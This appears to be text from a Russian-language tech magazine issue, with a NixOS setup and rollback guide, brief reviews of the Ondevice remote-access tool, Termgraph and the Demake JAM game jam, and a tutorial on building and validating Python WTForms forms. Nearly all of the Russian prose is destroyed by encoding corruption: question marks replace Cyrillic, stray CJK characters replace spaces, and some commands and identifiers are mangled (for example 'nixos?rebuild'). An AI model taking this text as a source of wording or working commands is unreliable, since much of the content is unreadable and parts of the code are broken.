???�?????�?� ??????�?????� ????�????� ???�?� htop,� Thunderbird� ?� Vim� ?????�
???�???�???�??�??�??�?????�??.�??????�????�?,�??�?????�??�?????,
???�???�??,�???�??爊ixos?rebuil爏witch��???�????�?:
environment.systemPackages�爓ith爌kgs;燵
牋爃top
牋爐hunderbird
牋爒im
]
???�?�?????�??�?�???�??�?????�?�???�?�?????�??�?�??�????��???�
??????�???�??�???,�?��????�??
$爊ix?env�iA�"package_name"
??�??�?�??�?�????�???��??�???爎oot��??.��??�??�??�??�????�????
????�??�??� ????�??�????� ?� ???�??� ???�?????� ????� ????�?????�??,� ??� ????�
???� ?� ????�?� ????�????�???� ????�?????�?.� ?� ?????� ???�??� ???� ??????
????�??�???�???�� /nix/store,�????�?,�???�??�???�?????�?�????�??�?
????�????�???��??�?�????,�?�????�??�??�???�?�???�??,��???�??????�
??�??????�??�??��???�????�??�??????�??�???�?.
???�??????�??� ????�?� ??� ??????�???�???�?� ???� ????�???�??�?/
???????�??� ??????.� ?????�?� ????�?????�?� ?????� ???�???� ???�??� ???�??
?????��??�?�??????�??牜??????�????�.
?� ???�???�??� ???????� ?????� ????� ????�????,� ?????�?� ???�?� ???�?????
???�???�????�?�?????�??�??.
???�???�?�??????燦ixOS
???�??�???�?????�??�?????
?� ????�?????�???� ??????�?� ?� NixOS� ??� ???� ???� ????�?.� ???�?� ???�?????
???�???�????�???�?????�??�?????�????�??爀xport燦IXPKGS_ALLOW_UN?
FREE=1,� ??� ???�?� ?????� ???�?????� ???�???� ????�?� ???�??,� ?� ???� ??????�??
?????�??�??�????.�??�????,�??:
{
牋燼llowUnfreePredicate��(pkg:爀lem�(builtins.parseDrvName爌kg.name
).name燵�"package_name_1"�"package_name_2"燷);
}
GUI
NixOS,� ???� ?� ?????� ???�??� ???�??�????,� ???�???�?� ????????� GUI.� ???� ???�?
??????�??�?�??�??�?�????�???�???�??:
services.xserver�爗
牋�#�???????�???
牋爀nable�爐rue;
牋�#�???????�????????�???????�????
牋燿esktopManager.gnome3.enable�爐rue;
牋�#�/???�???????�???
牋爓indowManager.i3.enable�爐rue;
};
???�??�??�???�?
NixOS�??�????�???�???????�??????�??�??�??�?,�??????�??�?�??�???
?燾on?guration.nix.�?????��??�??�?��??????�????�?爊ixos?option:
$爊ixos?option
This燼ttribute爏et燾ontains:
assertions
boot
containers
ec2
environment
fileSystems
fonts
gnu
gtkPlugins
hardware
...
??�??�???�?�??�???�??�??�?,�??�?�??�???��???�?:
$爊ixos?option爏ervices
This燼ttribute爏et燾ontains:
accounts?daemon
acpid
activemq
...
?�??�???�?:
$爊ixos?option爏ervices.openssh
This燼ttribute爏et燾ontains:
allowSFTP
authorizedKeysFiles
challengeResponseAuthentication
enable
extraConfig
???�?�??�?�?????�?????�?�????????�????�?�???�?.
NixOS��????�??????�??�??�?????
??�???
???�?�??��?????,�??�?????�??�?�?????�???�???�?,�???�?�??�?�???�
????�?�????�??�??�?????�?�????�?????�?�??�?�???��??�????�????
????�?????� ???�?????.� ???� ???�??� ???�?,� ???????� ????� ???�???�?� ??????�
???� nixos?rebuild,� ???�??�?� ?� GRUB,� ?� ???� ???�????� ???�?� ?????� ???�???
??� ?????�???� =� ???�?????� ???�??,� ?� ???�??� ?� ?????� ???� ???�???� ??� ????�
????�???�?�???�????.
???�?????�??燦ixOS�燝RUB
???�??????�??�??�??�?????�??�?????�??�??�???�?�????�?
$爈s�l�/nix/var/nix/profiles/system?*?link
???�?��??�??????�????�???�???�?��??�???�???�??�???�????�??
$爊ixos?rebuild爏witch�?rollback
???��??�????�??�???�????�??
$�/nix/var/nix/profiles/system?N?link/bin/switch?to?configuration�
switch
???� N� ?� ???� ?????� ???�??� ???�???.� ???�?� ????� ???�??� ???�????�?� ??� ?????�
?????,�??�?�????�?
$�/run/current?system/bin/switch?to?configuration燽oot
??�????�??
NixOS�??�?�????????�????�?????.�????��??�??�?�??�?�?????�????
???????.��??�?,�??�?????�????,�??�????�???�??�???�??��??�??????�
???� (???� ???�??).� ?????�??�?� ?� small???????� ?� ???�??� ????� ???�?????
?????�??� ??????�???�?� ?� ???�??�?� security????????�????� ?� ??????�??
???????�???� ?????�?????�?� ???�????�?� ???�?� ???� ????�????� x86_64.� ????�
???????�??�?????�?????�??�?�?�???�?.
???�????�??????�?�????�??�????�?�???�?????:
$爊ix?channel�?add�?????
$爊ixos?rebuild爏witch�?upgrade
??�????�??� ???�?� ????????� ????�???�??�?� ??� ???�??????.� ???� ???�?� ????�
?????�?�???????��??�??�???�?
system.autoUpgrade.enable�爐rue;
???�?� ???????�??� ???????� ????�???�??�???� ???�??� ???�???,� ???�?� ?????�
??????�???�?
system.stateVersion��"18.03";
???�.03��??�??�??�???.
??????
???� ????� ???�?� ??????�????� NixOS� ????�?� ???�???�??:� ??� ????�?� ?????�
??????�?� ????????,� ??� ???�???� ????� ???�?� ?� ???�???� ?� ???�?,� ???� ?????
???????�????.� ?� ?????� ?????�?????� ??� ???�????� ???�???�??,� ?� ???????�
??????燦ixOS�??�?????�?�?�??�??�?�????�??�???�?�????�???�?.
?????
??????�?????????
????????????
apismenny@gmail.com
1
ONDEVICE��?????,�??????�???�??????�?????
?�??????�?�?????????�???
??�???�??????�???????�??�??��?????,�??????�?�??�?�???�?
?� ???�???�??� ????,� ???�???�?� ??????� ??� ????�?� ???� ????�?.� ???�?
???�?�??�?????�?�?�??�?�?�?????�??,�??????�??????�?�?燦AT,
?�??�??��??�???�??�??�??�???�???�???�?�???�?.��???�???�
???�??�?�??�???�?????�?�??�??�??�??�????,�??????�??????�
??�???????�??�???.
Ondevice� ?� ???� ???� ???� ?????� ???�??.� ??� ???�??� ????�???�??
???� SSH,� rsync,� SCP� ???� SFTP� ?� ????�?????�?� ???????�??� ???�??
(????� ??� ??????�??� ???�??�???� ???�???)� ?� ??????�??� ???????
????�?� ????�?.� ???� ???�?????�????� ???�???� ??????�???�?
?????????,�??�??�???�?�?????�???�?????�?燞TTPS,�?�??�?�???�
?????�?.
??�?� ?????� ????�??� ????� ?????�??,� ??� ???�??� ?????� ?????�???�
???�?� ?� ???�????� ????� ????�???�??� (???� ???�???�?� ?� ?� ???�???
??????� ?� ???�???),� ?� ?????� ?????� ??� ?� ???� ??� ??????�???,
?� ???????� ??� ??????�??�?� ???�??�???�?,� ???� ?� ??� ???????� ??????�
????.
???�????�??�?
???�??� ???�????�???�?� Linux� ?� macOS,� ???�?� ????� ????�??� ?� ????
???�??�???� Docker.� ?????�??� ???�??�??� Windows� ????� ???,� ???� ???
???�????�???�??????�???�?????�?????燱SL.
??�?????�????,��??????�?�?????�??�?�???????�??�??,�???�
??�??�???�????�???�???�(ondevice爈ogin),�????�??�???�????
(ondevice� daemon).� ??????� ??????�?� ??� ???????� ??????� ?� ????
ondevice� list,� ???�?� ???�???� ????� ??????�???.� ???� ???�??�????
?� ???� ??� SSH� ???�??� ?????�?� on� ssh� ?????@?????????
??????????.
???�???�?� ???�?� ???�??�???� ??� ????� ?????�??� ?� ???�?????
??� ?????� ????� ???????�??� ???�???� ?� ?????,� ????� ?????� ???� ????�
?????�?�??�??�???�?????�??????.
2
TERMGRAPH��?????????�??????�??�????????
????????
??�?�?�?????�????�??�?????�??�????�????�???�???�?燯nix,
??� ??� ????????� ????????� ???�??,� ???????�??� ????????????� ????�
????�??� ?????�??,� ?� ??????�???� ??� ?� Excel� ???� OpenO?ce� Calc
???� ????�??????� ?� ????�????.� ????� ????� ???�??� ???�???� ???,
??�??????�??�????!
Termgraph��??�??�?????�??�???,�??????�??�?燩ython,�??????
???�???�?� ??� ????� ???�?� ?� ???�???,� ???�????�???� ???�????
??????�??,��?�?????�???�?�??�?????�?�?�??�????�???�?????�
????�(???,�??�????,�?�???�?,�???�?�??�?�?????�??).�??�?
????????� ??� ???????�???�??� ???� ???�?????�??� ???�???�??,� ????�
??????� ???�?,� ????????� ???�????�??� ????�???� (stacked� charts),
?�??�?�??�?????�????�???��??�?????�??�???�?�???.
???� ??????� Termgraph� ??????�??�?� Python� 3� ?� ???�????�?� col?
orama.� ????�?????�?� ???�???�?� ????�?:� ?????�????� termgraph
?� ??????�??� ????� ???�????� ???�?� ?� ???�???,� ????� ????� ???�??
?�???�??�???�???.�??�?�??�???�???�??�?????�??????�?燾ol?
or,� ???�????� termgraph� data/ex4.dat� ??color� {blue,red}.
????�?,� ???� ???�???????� ???�??,� ??????� ???�??????� ?� ???�????
??�??�?燿ata.
3
DEMAKE燡AM��??????�??????????�?????
??????????�??
25�??????�18�???�?�???�????� itch.io�????�????�?????�????�
???� ???�???� ???� ???�????�????� ???:� ??� ???????�?� Demake� JAM
?� ???� ???�????� ???�????�?� �????�??粻 ?� ????�??�??� ???�??
?????�???�??.�??�??�??�????,�?�?????�??�??????�?�???�???
?�?????�?????,��?�???�????�??�?��???�???�??�??�???�????�
??????�??�???�??�??�??,��??????�??�?�??�?��???�???.
?� ???�???,� ?????�??� ???�??� ???�?� ????� Metro� Cop� ?� ???� ??????
???????�???� ?� ????� ???�?� ???�????�???� ????� Virtua� Cop,� Bio� Evil� 4
(???�??� ???�?)� ?� ???,� ???� ??� ??????� ????????�?,� ???�??�??� ?????�
??????�?�??????燫esident燛vil�燣ow燤em燬ky��???�??�??�??
No� Man?s� Sky,� ???�??????�??� ??� PICO?8.� ?� ????� ???�????�???� (?
???????� ??� ???�????� ??????� ?� ???�??�???� ??????)� ????�
??��??????�?�?????,�??�??燣ow燤em��??�?�???�?�??�?.
????�???�?,� ??� PICO?8� ???�???� ???????� ?????� ???,� ????�?????
??� Demake� JAM.� ???�?� ???,� ?� ???�???,� Low� Knight� (??????� Hollow
Knight),燚elunky�(??????燬pelunky),燩icoman燝o�(Hitman燝o)��??�??
???�??.�?�???,�??�??�???�???????,�???�???�???�???�??�????
??� Pico� Space� Program� ?� ???�??� Kerbal� Space� Program,� ???????
??????�?�?燩ICO?8��??�????�???��?�????�?�?????.
??????
????�??????
???????�???????燷[,
?????????�??????????�
?????????????
rusanen@glc.ru
?????????
?????
????????????�??????�????
??燩YTHON��??????燱TFORMS
??�????�?� HTML?????� ?� ???????�???�???� ?� ???�?????
??????.� ????????� ??,� ?� ???� ????????:� ???�????� ???�?
?�??�???,�??�??�???�??�???�?�??�???,��?????.�????�
????�?????�???,�??�?�??�?�??�????�???:�??�?�??�???
??�?????,�?營D,�???�???�?爊ame,�??�??�??�??�???�????�
????� ??� ?????�?� ???� ??????�??� ?� ???�??�????� ???�??.
?�???�????�??�?�??�?�??��???�?????�?????,�?�???�
?????�?� ????�???�???� ?� ???�???�??� ??????:� ???�????�?
???�????�?�?????�???�???�???�????��??�???�?�??�??
?� ???????�???� ????�??�??� ???.� ????�?� ????� ???�???� ????�
????�?????��??�???�???�??.
?????�??�?????
???�?� ??????,� ?????� ????�???� ??� ????�?,� ?????� ?????�??� ??� ????�??� ????�
???.� ????�????,� ???� ?� ?????� ???????�???�??� ????� ???�?� ???� ???�????
????�?????�??.
<form燼ction="">
牋�!??爌ersonal爄nfo�?>
牋�input爐ype="text"爄d="f_name"爊ame="f_name"爌laceholder="John"�/>
牋�input爐ype="text"爄d="l_name"爊ame="l_name"爌laceholder="Dow"�/>
牋�!??燼ccount爄nfo�?>
牋�input爐ype="email"爄d="email"爊ame="email"爌laceholder="john@example.
com"�/>
牋�input爐ype="password"爄d="password"爊ame="password"爌laceholder=
"**********"�/>
牋�!??爉eta爄nfo�?>
牋�select爊ame="gender"爄d="gender">
牋牋牋�option爒alue="0">Male</option>
牋牋牋�option爒alue="1"爏elected>Female</option>
牋�/select>
牋�input爐ype="city"爄d="city"爊ame="city"爌laceholder="Saint?Petersburg"�/
>
牋�textarea爊ame="signature"爄d="signature"燾ols="30"爎ows="10"></textarea>
牋�input爐ype="submit"爒alue="Create爑ser!"�/>
</form>
???�??�?�??�????�???�?.�???�?�?????�??????��????�??�??�???�??
???????�??�????.
1.��??�???�???�(???��????�??�?)�??�?�????�?�??????�??�?�????�
???,�??????�????�??????�?�??�?????�??�??�?.
2.�??�??�??�?,�??�?????�??�????�?�??????�????�??�???�?.
3.�?�??�???�??�??�?�????�???????�?�???�?�??�??�???�?燙SS??????�
???�?�??�??�???�??�???�?????�??�?????�??�?.
4.�????� ?????� ???�??� ?????�???� ????�????�?????� ???�??� ?� ?????�?� ?
???�???�??� ?????�?� ???�???� ???�?� ???� ???�??� ???� ??????�???� ?????�
???.� ???�???� ???�??� ?� ?????� gender� ?????,� ????�?� ?????� ???� ?????�?
?????�??�???????�?�??�?????��?.
?�??�????.�??�??�????�?�??�???�???�??�?�??�??????�????.
?�?????�??�?????�?�?,�??�?�????�???�???�???�??�??�?�?�???�
????.�??�??�???�???�?�??�??�??�???�??�?????.
1.�??�??�??�???�???�??�?爊ame.
2.�??�?????�????�??�????�????�??�????��?????�?????�??�?.
3.�?�?�???�???�?,�??�?????�?,�??�??�??�?�??�????�?????�??�????
??�??�??�???�????.
4.�?�?�??�K,�?�???�???�?�?�??�??�?�??�??�????�??�?�???�????
?????�???�??�???�????�?�??�??�????.
???�????�??�??�????�???�?????�?�???�??�???�?�??�?�????�???�????�
??� ?????� ???�??� (email� ?� password),� ??????�??� ????�???????� ?????�??� ???
?�??�???.��???�??�??�???,�??�??�??�?,�??�??�?�??�???�???�??�??,
???�??� ?????� ?????,� ???�???� ????�?????� ????�??�??� ???�?� ??� ???�???
???� ?????�???� ???�??�?� ?� ???????� ???� ???�?????� ????�????� ???�?.� ??????
??????�??� ?????� ???�??�?� ???� ??????�???,� ???� ????????� ?� ??????�??� ????�
????.� ???� ????� ???�?� ??� ????????�?� ?� ???�???�?� ?????,� ???�???�??� ?� ????�
????,�??�?�??�??�???�?�?????�???.
??�???�?????�??�??�?�?�???�?�??�?????,�?��????�???????,�??????�
???� ??� ??� ?????� ???�?!� ???�??� ?� ????�?� ?� ???�?� ???� ???�?� ?????� ???�??,
?�??�????�?????�?????�?�??????�????.
???� ???� ???�???�??� ???�?� ???�???�???� ???????�??� ???�????,� ????�???�
?????,� ??????�????,� ???????� ?� ???�??� ???�??� ?????� ??????�?� ?� ?????
??????,� ?� ???�??� ???�?,� ?????� ???????�???�?� ??????�??�?.� ?� ???� ?????�
???????�?� ????�???� ????� ????� ?� ???�?� ???�??�?� ??????�?????� ???� ????�
????�??,�??????�??�???�?��??�??�?.
??�?�?�???�??�??�???�??�?��???????�??�??????�??�??�???,�???�
?????� ?� ????� Python?????�?,� ????�???�?� ???�??� ???� ???????�?,� ????�?,
??????�???,� ????�??�???,� ?� ????�?� ???�??�?????� ???�?????�?� ??� ????�
??????�??��??�??????.�??�?????�??��??????�??�????�?燱TForms.
INFO
??�?� ??� ??????�????� ????�??� ????�???�?� ????
Django� ???� Rails,� ??� ???� ????�????�?� ??� ???�??
???�??�????�?????��??�??�???�???.�???�?
??� ???� ???�??� ??????� ???�???�?� ????????� Djan?
go.� ???�?????� WTForms� ????�?� ?� ????� ?� ????�
?????�???� ???�?????�???�???� ???� ?� ????????�
?????�???�??�??� ???�???�???� ?� ?????�
??????????� ????�???�???� ???????�?,� ???
??????�??????燚jango�???�?????�?.
?????????
???� ??????� ????�????� ????� ???�????�?.� ?� ????� ??????�???� ???�???
??� Python� 3.� ???,� ???� ?????� ???�????,� ???� ???????�???� ?� ????�??�???� ?????�
????�?� aiohttp.�???�??�?�???�?��??�???�????�???????�� Flask,� Sanic
???�????�??�??�??????.��????�??�??�?????�???�?????�???�?� Jinja2.
????�??�???�?�????爌ip:
pip爄nstall爓tforms
???�???�?�??�??.
import爓tforms
wtforms.__version__
#�'2.2.1'
???�???�?�?????�???�??�?�???�?燱TForms��???�?????�?.
????????�????
?� WTForms� ????� ???� ?????�????� ????�??� ???� ???�????� ????� ?� ??� ?????.
????�???�??�??�?��??�????,�??�???�???�?�????�???�?��??�????�?
????�?� Form.� ????� ???�?� ???�???�???� ????�???�?� ????�?,� ???�???
??�??????�??�??�????�???�??????�?�??????�???�?�???�???,�???�????�
???�??�?�???�???�??�?.�??�??�???�?,�?�???�??�?.
from爓tforms爄mport燜orm,燬tringField,燭extAreaField,燬electField,爒alidators
class燯serForm(Form):
牋爁irst_name�燬tringField('First爊ame',燵validators.Length(min=5,爉ax=30)]
)
牋爈ast_name�燬tringField('Last爊ame',燵validators.Length(min=5,爉ax=30)])
牋爀mail�燬tringField('Email',燵validators.Email()])
牋爌assword�燬tringField('Password')
牋�#爉eta
牋爂ender�燬electField('Gender',燾oerce=int,燾hoices=[牋#燾ast爒al燼s爄nt
牋牋牋�(0,�'Male'),
牋牋牋�(1,�'Female'),
牋燷)
牋燾ity�燬tringField('City')
牋爏ignature�燭extAreaField('Your爏ignature',燵validators.Length(min=10,�
max=4096)])
???�??�?�??�???:
? ???�???�????燯serForm�??�????�??�?.�?�??�??????�?�????�????�
??燜orm�(?燘aseForm)?
? ???�??� ??� ?????� ???�?� ???�???� ????�????� ????�?,� ????�???� ???�??
?????�???�?��???�???�?�???燜ield.
?� ????�???�??� ?????� ???�?� ??� ??????�?????� ???????�????�??� ?????
StringField.� ???� ???�????� ????????�?,� ????� gender� ???�???� ???�?� ???�???
????��???�????�???�?????�??�????�(?/?),�????�?�?�?????�?????� Se?
lectField.� ???�???� ????�?????�?� ????� ???�?� ???�?????� ??� ?� ????�??� in?
put,� ?� ?� textarea,� ?????�?� ??� ??????�?????� TextAreaField,� ???� HTML?
????�???�????� (???�??)� ?� ???� <textarea>.� ????� ??� ???� ???�?� ????� ?????�
????�???�??�????�??�????,�?�?�??????�???�?�????�????�????� Inte?
gerField��??�???�?�???�?.
WWW
?� WTForms� ???�??�??� ?????�????� ????�??
???� ???�????� ?????,� ???�??????� ???� ???�?
?????.� ???�?� ???�?� ???�???� ????� ???�????�?
????�?.
?�????�??�?�????�??�?????.
1.�??�??� ????� ?????� ???�?????� ?????� ????�??�??,� ?????� ???� ????� ?????
?????.
2.�??�?�??�??�???�??�?燞TML?????�???�????,�??�?????�???�??�??.
3.�??�??�???�???�??�?�??�???�????�?????�????.
4.�?�???�??� ????� ?????� ???�?????� ?????�?????�??� ????�??�?.� ???�????,
???燬electField�??�?�??�???�????�??�?????�??�????.
5.�?�?� ???�?� ?????�???� ?� ???� ?????�??�???� ???�??.� ?� ???�?� ???????�
????�???,�???�???�??�????�?�???.�??�??�??�?�????�?,�??�?�??�?
????�???�???�?????�??�??�?�??�???�?�??�???�???�??�??,�??�???
??�??�?????�????�????�??�?.
6.�?�?�????�??�???�?????�???�?�?????�??�?�????�??�??�????,�??
?????�??�???�?�爁orm.field.errors.
??????��?????
???�???�?�???�?????�??�?.�???�??爓ork?ow�?????��??�???�??�???
??�???�??�??.
1.燝ET????�??� ????�???,� ??� ???????� ???� ???�?� ????�?????� ????� ???�?.
?�???�?????�?�??�??�??�???�??????�????�??�?,�??�??�??�??,
????�??�???�???,��???????�??�?????�???��??�??�??�??�??�????�?.
????�?� ???� ????�???� ?� ????�??�???� (action)� ???�???�???� GET????�???
?�?????�??????��?????�??�?�?燞TTP?????�???�?,�??????�?�????�
?????�?� (???� ??� ????�????�?,� ???� WTForms� ???� ??� ????�???).� ???�???
???�???,��???�??�???�????�??�?� GET�/users/new.��??�?,�燚jango
???� Rails� ??� ?????�????� ???�??� ???�????.� ?� ???�??� ???�????� ?????� ??
???�?��?????�??�?�??�?????�???�爐emplate燾ontext,��?�??�??�???�
?????� ?� ???????� ???�??�??� ?????,� ???� ??� ???�????�??� ???�??� ?????
?????爊ew�(@user�燯ser.new).
2.燩OST????�??� ????�???,� ?� ???????� ??� ???�??� ????????� ???�??� ???�?
(???�????,� POST� /users)� ?� ??????� ???�??�???:� ?????�???� ??????�??
???�??,�????�???�???�??�???�?�??�?�??�??�??????��?.
??�???�??�??�?�(GET�/users/new)
???�????�??????�????�???�???????�?�???�????�??�??�?:
user_form�燯serForm()
type(user_form)
#燺_main__.UserForm
?�??�???�???�??�?�?�????�???�???�?�?????�?�?�?�???�???:
type(form.first_name)
#爓tforms.fields.core.StringField
?� ?????� ????�??� ???�??� ???� ???.� ??????� ???????� ?????� ???�?� ???�?
????????�??�?????�???�??�???�??????:
def爊ew(self,爎equest):
牋爑ser_form�燯serForm()
牋爎ender('new_user.html',爗
牋牋牋�'form':爑ser_form,
牋爙)
??�??爎ender,�????�?,�??�???�??.��??�?�??�??�?????�??�????�?�????
????�?????�?�???�???�??��??�?????�????,�??????�?�?????�????.
??�????,� ??????�?� ????� ???�?� ?� ???�?????�??.� ???� ??� ???????�???
?� ???�????� ???�?� ????�???.� ?????�?,� ???� ??� ???�???�???�?� ???�???
??�??�???燡inja2.
{{爁orm.first_name.label爙}
{%爄f爁orm.first_name.errors�%}
牋�ul燾lass="errors">
牋牋牋爗%爁or爀rror爄n爁orm.first_name.errors�%}
牋牋牋牋牋�li>{{爀rror爙}</li>{%爀ndfor�%}
牋�/ul>
{%爀ndif�%}
{{爁orm.first_name()爙}
???�???�爑ser_form��????�??爁orm�????�??�???�????�??�?????�????
?�??�?????�??�????.
<label爁or="first_name">First爊ame</label>
<input爄d="first_name"爊ame="first_name"爐ype="text"爒alue="">
?????�??�???�??�??�??.
1.�� ???�??� ????�?� ??� ????�?????� ?� ????�???� label� ????� first_name
?????�??�?.��??�????�????燞TML????�??�??�?????�???� first_name.� ?????� ?????�?� ??� ???�????� ????�?� ???�?� ??� ????�???�??�??�?
????�???�???.
2.�?�??� ??� ???�???�?� ?????�????� ????�?� errors� ??????� ????.� ???� ????�
?????� ????????�?,� ?� ???� ?????�????� ????�?.� ??� ???�??� ??????� ???�??
?�??�??,�????�?�???�?�????�?????.�???�?�???�?�??�??�?�??
?????�?????� ?� ????� ?????�???� ?????�?� (???�????,� ??????�??
??� 6� ??� 30� ??� ???�?� ??� ???�??�??� ???�????),� ??� ?� ???�??� ????� ??????� ??
???�???�?.�?�??�??�?????�?????�????�???�?.
3.�� ???????,� ?� ???�?????� ????�?� ??� ???�????� ???� ???� input,� ???????
?????�.first_name()�?????�?????�?�??�?.
???�????�??�?.�?�????�??�?????�??�???�???�???�??�???�?�??�??
input.�??�????�???????�?,�??�?????�?�????�??�???�?�?�????��??
????�?????�??�????,�??????�??�??�???�??�?�??�???�?�?�????�????�
????�??�??�?�?�????�???�?燞TML????�?????.
???�???�??�????�(POST�/users)
???�?????� ???� ?� ????????� ???�??� ???�?� ??� ???�???� ?� ??????� ??� ?????�
??????.�???�??�???�?�??�???�??�????.
1.�?�?????燩OST????�??�(???�????�??�???�???�?????�???��?????�???�
??�?�???,�?????�????�?�?�???�????��????�??�???�?,�???�??????�
?????).
2.�??�??????燩OST????�??�????�??�??????�??�?.
3.�??�?????� (??????�?????)� ???�??�?????� ?????�????.� ????� ??????� ??� ???,
???�???�???�?.
4.�?�??�???�??�???�??�?�??�?????�??�??.�??�???�????�?,�?,�???
??� ????�????�?� ORM,� ??????� ????�??????,� ???� ??� ???�??� ???�?� ????
???�?�??�???�??�??��?.
?�????�??�??�??�??��?��??�???�???????,�??�??�???�?燯ser.
async燿ef燾reate(self,爎equest):
牋�#�???????爌ayload.�??燼iohttp�??�?�????�??????????
牋�#�?????�??�??????爌ayload.�???�??�????????
牋爌ayload�燼wait爎equest.post()
牋�#�??????�????�??????�????�????��????????�??�??????,
牋�#�?????????��??????
牋爁orm�燯serForm(payload)
牋�#�???�?????��??????�???????�????????
牋爄f爁orm.validate():
牋牋牋�#�??????�????�?????燯ser
牋牋牋爑ser�燯ser()
牋牋牋�#�????????�??�???????�??????�????
牋牋牋爁orm.populate_obj(user)
牋牋牋�#�...
牋牋牋�#�????????�????��?,�?????????�?????
??� ???????�???� ???�?,� ??????�?� ???�??� ?� ???�???� ???????,� ???�???�?� ??
?� ??????�?� ?� ??.� ???� ????� ??� ??� ???�???????� ??� ????�?????�?� HTML,� ID
?????,�??�?��?�????�????�??�?�??�???��??�???.�?�???�?�?,�????�
???
????? ???�????????? ???????? ????????
??�?� ??� ???�?????�?� ?????� ???�???�??� ???�??,� ?� ????� ???�????�?� ???�??
???�??:��??�?????�???�?????�?�????�???�?�??�???�??�??�???�???�
??�?????�?�??�?��????燨RM�(???????�????�?�???).�??�??�?�??�????�
???�??�???�????�??�?��??�???��??�???爌opulate�?燱TForms?�??�?
???�?�??�??????�??�???�??�???.
Signature:爁orm.populate_obj(obj)
Source:
牋牋def爌opulate_obj(self,爋bj):
牋牋牋牋"""
牋牋牋牋Populates爐he燼ttributes爋f爐he爌assed燻obj`
牋牋牋牋with燿ata爁rom爐he爁orm's爁ields.
牋牋牋牋:note:燭his爄s燼燿estructive爋peration;
牋牋牋牋牋牋牋燗ny燼ttribute爓ith爐he爏ame爊ame
牋牋牋牋牋牋牋燼s燼爁ield爓ill燽e爋verridden.燯se爓ith燾aution.
牋牋牋牋"""
牋牋牋牋for爊ame,爁ield爄n爄teritems(self._fields):
牋牋牋牋牋牋field.populate_obj(obj,爊ame)
???�?????,�??�???�?????�?�??�??�???�????�????�??�?,��????,�???�
????�??� ??� ????�?,� ????�??????� ????�????� ???�??�?????�???� ???�???� ????�
?????.� ???�????� ??� ???�?� ???� ???�???�??� ?????�????:� ???� ???�?
???�????????�??�????�燜ormFields.
?� ????�???�??� ???�???� ???� ??????�?� ???????.� ????� ???� ???????????�
??????:� ?� ????�?????�?� ?????� ????� ????,� ???�???�?� ??????�?� ???�???�?
???????��?,�??�????�???�?,��??????�??�??�????�???�???????.��???
???�??� ???�???�????� ????�??� wtforms.fields.SelectField,� ???????
choices=[...]� ??� ????�??� ???�?????� ???�????� ???????,� ?� ??� ???�???
???�??????燨RM�??�????�??�????�?�??�???�??.
??�???�???�?�???????�??�?�???�???�??�?�????�???�???�???�???�?
????�?� ??????� ?????� ???�?,� ?� ??????�??� ??????� ????�????�???.� ????�???
???.
1.�?� ??????�?????� ?????�????� ???�???� populate_obj� ????�?� ?� ?????�
????�???� ???� ????� ????�??,� ???????� ???�??� ?� ???� ?????� ????�??� .data
???�???�???�??�?�??�?爁orm.f_name.data.
2.�?�?????�???�????�??�????�????�??�???�??�???�??�?.
???� ????�?� ???�??�?� ???�??� ????�??� (????� ??� ?� ???�?� ????�???�??).� ????�
?????,�??:
from爓tforms.compat爄mport爄teritems,爄tervalues,爓ith_metaclass
def爌opulate_selective(form,爋bj,爀xclude=[]):
牋牋for爊ame,爁ield爄n爁ilter(lambda爁:爁[0]爊ot爄n爀xclude,爄teritems(form
._fields)):
牋牋牋牋field.populate_obj(obj,爊ame)
??�???�??�?�?????�?????�?�??�?�???�?�?�???,�??????�??�?:
populate_selective(form,爑ser,爀xclude=['f_name',�'l_name',�'city',])
?��?????�???�??�?????�?�?�???�???�??�?????.
??????????? ??????
?
? �?????�?????
??????
????????? ?????
????????????�??????�????
??燩YTHON��??????燱TFORMS
??�???�???
???� ????� ???�??,� ?????� ??� ???????� ??� ?????�???� ???� ?????� ??� ???�??�??:
???� ??????�?� ???�???� form.validate()?� ???� ???�???�?� ???� ???� ??� ?????
????�?�?????�????��??????�???,�??????�?�??�???�?�??�???�???�??
????�?� ???�?.� ?????� ???�???�?� ???????�???� ???�?????� ???�????� ?� ?????�
?????� ?????,� ???????� ?� ?????�??� ???�???�??� ?� ????� ???�?� ?????� ???�???�
???????��??�???�???�???????,��??�?????,�??�??�??�???�?????�??.
form�燯serForm()
form.first_name.data��'Johnny'
form.last_name.data��'Doe'
form.email.data��'invalid_email'
form.password.data��'super?secret?pass'
???�???�?�?????�?????�??�??�?.
form.validate()
#燜alse
??�???�??� ??� ????�?.� ??� ???�???,� ???� ?� ???�??� ????� ????� ???�??� errors,
???????�????�????�???�???�?,�???�??�??�???�??�??�????�????�???�
??.�??�?????�?�??.
form.first_name.errors
#燵]
???� ???�???�?,� ?� ???�??� ????� ???�??� ??� ????,� ???�??� ??????�????� [val?
idators.Length(min=5,爉ax=30)]� ????�??,� ???� ???� ???� Johnny� ????�?????�
????�????�???�???�?????�???.�??�?????�??�??.
form.last_name.errors
#燵'Field爉ust燽e燽etween�nd�燾haracters爈ong.']
form.email.errors
#燵'Invalid爀mail燼ddress.']
form.password.errors
#燵]
??� ???�??� ?� ?????�?� ???�???� ???�???�?� ??????�???,� ?� ???� ???�??� (????)
???????�??�??�??�??.
{%爄f爁orm.first_name.errors�%}
牋�ul燾lass="errors">
牋牋牋爗%爁or爀rror爄n爁orm.first_name.errors�%}
牋牋牋牋牋�li>{{爀rror爙}</li>{%爀ndfor�%}
牋�/ul>
{%爀ndif�%}
INFO
??�???�???,�??�?�??�??�???�?,�??�??�????�?
???????�????� ???�?� ????� ???�?� ??????�???
????�?�????�??????�??�?��??�?????�??,
?� ??� ???�?????� ?????.� ???�?� ????�?� ???�??,� ??
?????� ?????�???� ????�????�?????� ????� ?� ????�
????�??� ?????�?,� ???� ???� ????�?????�?� ??� ????�
???�?�??�???�??�?�????.
?� ???�??� ????�??� ?????�????� ??????�????� ???�?� ????�?????�?� ?????,
?�???�?�?�??�??,�?燱TForms�??�???�?�?�???????��???�???�??.
????????????�????????�??????�????�????
??� ???� ???�??,� ???� ?� ?????� ???�?� ????� ?????� ?????� ????�????,� ???????
???�?�??�???��???�???�??�????.�??�????,�??�????,�??????�???�???�
???�?????�????�???�??�??��????�???.�??�??�??�???:
? id��???�??營D燞TML????�???�??�??�????�??
? name��??�??�???�(????�???爊ame�燞TML),�?�?????�?�????�?????�?
?????�????�???
? ????�?,�?????�???��??�????.
???� ???� ???�????� ???�???�?� ????,� ???� ???� ????�?� ?????� ???�???�???
??�?????�?�???�?爓tforms.?elds.Field.
??�???�??�??�???�?�??�??.�???�?��??�???�????�??�??�?�????
??????�???�?�???????�??�????�????.�??�????,
? ??�???????�????�???�??�????��????�?�???�????�?????
